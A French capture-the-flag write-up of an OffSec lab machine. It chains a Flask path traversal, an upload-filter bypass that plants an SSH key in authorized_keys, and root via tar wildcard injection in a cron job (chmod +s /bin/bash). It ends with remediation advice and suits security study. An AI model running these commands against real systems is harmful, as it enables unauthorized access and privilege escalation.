Amaterasu
Flask REST API sur Fedora — path traversal via /file-list expose la clé SSH d'un utilisateur, contournement du filtre d'extension pour écrire dans authorized_keys, escalade root via tar wildcard injection dans un cron root.
path-traversal·flask-api·file-upload-bypass·ssh-key·tar-wildcard·suid
Contexte & périmètre
Machine cible : Amaterasu — OffSec Proving Grounds. Boîte Linux (Fedora), avec une petite API REST maison en Flask qui sert de vecteur d’entrée.
- Cible :
192.168.71.249 - Attaquant :
192.168.49.71(Kali via OpenVPN OffSec)
Reconnaissance
Ports & services
nmap 192.168.71.249 -sC -sV -p- -Pn --open

Points d’intérêt immédiats :
- FTP anonyme — à checker pour du dépôt de fichiers, mais listing timeout ici → probablement vide ou piégé.
- SSH 25022 — port non standard, note-le pour plus tard (login à clé sûrement).
- Werkzeug 2.2.3 / Python 3.9.13 sur 33414 → Flask derrière. Une API maison est presque toujours la surface d’attaque la plus tendre.
- Apache 40080 — “My test page”, probablement une décoration.
Je pars sur l’API Flask.
Énumération de l’API

/help et /info.ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-u http://192.168.71.249:33414/FUZZ
/help est explicite : le développeur a laissé la liste des endpoints.

/info, /help, /file-list?dir=/tmp, /file-upload. Deux primitives évidentes : lister et uploader des fichiers.Accès initial
Path traversal via /file-list
Le paramètre dir est passé tel quel à l’appel filesystem — aucune sanitation.
Je remonte l’arborescence et j’énumère méthodiquement :

/home → un seul user alfredo, puis son home révèle .ssh et un dossier restapi, puis .ssh montre id_rsa et id_rsa.pub.curl -G http://192.168.71.249:33414/file-list --data-urlencode 'dir=/home'
# ["alfredo"]
curl -G http://192.168.71.249:33414/file-list --data-urlencode 'dir=/home/alfredo'
# [".bash_logout",".bash_profile",".bashrc","local.txt",".ssh","restapi",".bash_history"]
curl -G http://192.168.71.249:33414/file-list --data-urlencode 'dir=/home/alfredo/.ssh'
# ["id_rsa","id_rsa.pub"]
Deux options à ce stade :
- Lire
id_rsavia une éventuelle primitive de lecture (l’API n’en expose pas — dead end) - Écrire dans
authorized_keysvia/file-upload(l’API accepte unfilenamearbitraire — bingo)
Génération d’une paire de clés

ed25519 locale, passphrase vide pour scripter facilement.ssh-keygen -f my_key -N ""
Contournement du filtre d’extension
L’endpoint /file-upload a deux garde-fous :
- Il exige un champ
filename— le nom de destination côté serveur. - Il filtre les extensions autorisées :
txt, pdf, png, jpg, jpeg, gif.

filename. Second refus : my_key.pub — extension .pub hors whitelist. Le filtre se base sur le nom du fichier uploadé, pas sur la valeur de filename.Faille du filtre : il regarde l’extension du fichier envoyé (file=@…), pas la valeur du champ filename (qui est la destination). Il suffit de renommer localement :

my_key.pub → my_key.txt. L’extension passe la whitelist, le contenu (une clé publique OpenSSH) reste identique.Écriture d’authorized_keys

filename pointe vers authorized_keys, le contenu de my_key.txt y est écrit tel quel. Le serveur tourne visiblement avec les droits d’alfredo (sinon il ne pourrait pas écrire dans son .ssh).curl -X POST http://192.168.71.249:33414/file-upload \
-F 'file=@my_key.txt' \
-F 'filename=/home/alfredo/.ssh/authorized_keys'
# {"message":"File successfully uploaded"}
Vérification que le fichier est bien apparu :

authorized_keys est présent aux côtés d’id_rsa/id_rsa.pub.SSH avec la clé plantée

[alfredo@fedora ~]$.ssh -i my_key alfredo@192.168.71.249 -p 25022
# [alfredo@fedora ~]$

local.txt (contenu masqué per OffSec) et le dossier restapi qui hébergeait le service Flask.Élévation de privilèges — tar wildcard injection
Découverte du cron root

*/1 * * * * qui exécute /usr/local/bin/backup-flask.sh. Le script fait tar czf /tmp/flask.tar.gz * à l’intérieur d’un dossier que je contrôle (/home/alfredo/restapi). Le pattern * non-cité + tar = injection de flags.Contenu du script :
#!/bin/sh
export PATH="/home/alfredo/restapi:$PATH"
cd /home/alfredo/restapi
tar czf /tmp/flask.tar.gz *
Le glob * est expansé par le shell avant d’être passé à tar. Si je crée
des fichiers dont le nom commence par --, tar les interprète comme des
options. Deux options intéressantes : --checkpoint (trigger périodique) et
--checkpoint-action=exec=CMD (que faire au trigger). Combinées, elles
transforment tar en exécuteur de commandes.
Craft du payload

shell.sh avec la charge utile (chmod +s /bin/bash), puis deux fichiers-flags —checkpoint=1 et —checkpoint-action=exec=sh shell.sh créés via touch — (le — stoppe l’interprétation d’options par touch lui-même).cd ~/restapi
echo 'chmod +s /bin/bash' > shell.sh
chmod +x shell.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
Une fois le cron déclenché (max 60 s d’attente), l’expansion * donne à tar
approximativement :
tar czf /tmp/flask.tar.gz --checkpoint=1 --checkpoint-action=exec=sh\ shell.sh app.py main.py __pycache__ shell.sh
Tar exécute alors sh shell.sh en tant que root, ce qui pose le bit SUID
sur /bin/bash.
Vérification du SUID

-rwsr-sr-x — le s à la place du x owner confirme que le bit SUID est actif. Le cron a bien exécuté shell.sh en root.Le piège du -p

-p, bash réinitialise l’EUID à l’UID réel au démarrage — on récupère un shell alfredo malgré le SUID.
-p : bash conserve l’EUID root. Prompt #, ls /root liste proof.txt./bin/bash -p
# bash-5.1# id
# uid=1000(alfredo) gid=1000(alfredo) euid=0(root) egid=0(root)
Proof

/root/proof.txt masqué par la politique OffSec.Remédiation
Côté API Flask
- Sanitiser tous les paramètres filesystem — jamais
open(request.args['dir'])en direct. Whitelist stricte des chemins, résolution viaos.path.realpath()+ vérification que le résultat est bien sous une racine autorisée. - Refuser les chemins absolus dans
filename(os.path.isabs()) et interdire toute occurrence de... La destination doit être calculée par l’API, pas fournie par le client. - Ne pas filtrer par extension — cela ne prouve rien du contenu. Si un filtre est nécessaire, valider avec
python-magicou l’entête binaire du fichier reçu. - Faire tourner le service sous un user dédié (
flaskuser, no home, no shell) — pas sous un compte user réel qui a un.ssh/. - Ne pas exposer
/helpen production (auto-doc = cadeau à l’attaquant).
Côté système
-
Bannir les patterns
tar *dans un cron root quand la cible est un dossier writable par un utilisateur non-root. Deux corrections possibles :# Option 1 : encadrer les fichiers, prévenir l'interprétation d'options cd /home/alfredo/restapi tar czf /tmp/flask.tar.gz -- * # Option 2 : ne pas descendre dans le dossier tar czf /tmp/flask.tar.gz -C /home/alfredo restapi -
Least privilege : ce backup n’a pas besoin d’être root. Créer un compte dédié
backuppropriétaire du dossier destination. -
Audit périodique des SUID :
find / -perm -4000 -type f 2>/dev/nullintégré à l’inventaire, alerte si/bin/bashapparaît.
Ce que je retiens
- Un endpoint
/helpqui documente lui-même l’API est une source de vérité offensive. Toujours le tester en premier avant tout brute-force. - Un filtre d’upload qui regarde l’extension du fichier envoyé, mais où la destination est un paramètre client, est intrinsèquement contournable : ce qui compte c’est ce qui est écrit sur disque, pas ce qui est reçu.
- Tar wildcard injection via
--checkpoint/--checkpoint-actionest le primitive canonique quand tu voistar czf … *dans un cron avec un dossier writable. Un--avant*suffit à tout casser côté attaquant. - Le drapeau
-pde bash/dash — encore lui, comme sur ColddBox. À la deuxième fois, on ne l’oublie plus. - Piper une clé SSH dans
authorized_keysreste le vecteur d’accès initial le plus fiable dès qu’on a une primitive d’écriture arbitraire côté user.
Outils
- nmap
- ffuf
- curl
- ssh-keygen
- ssh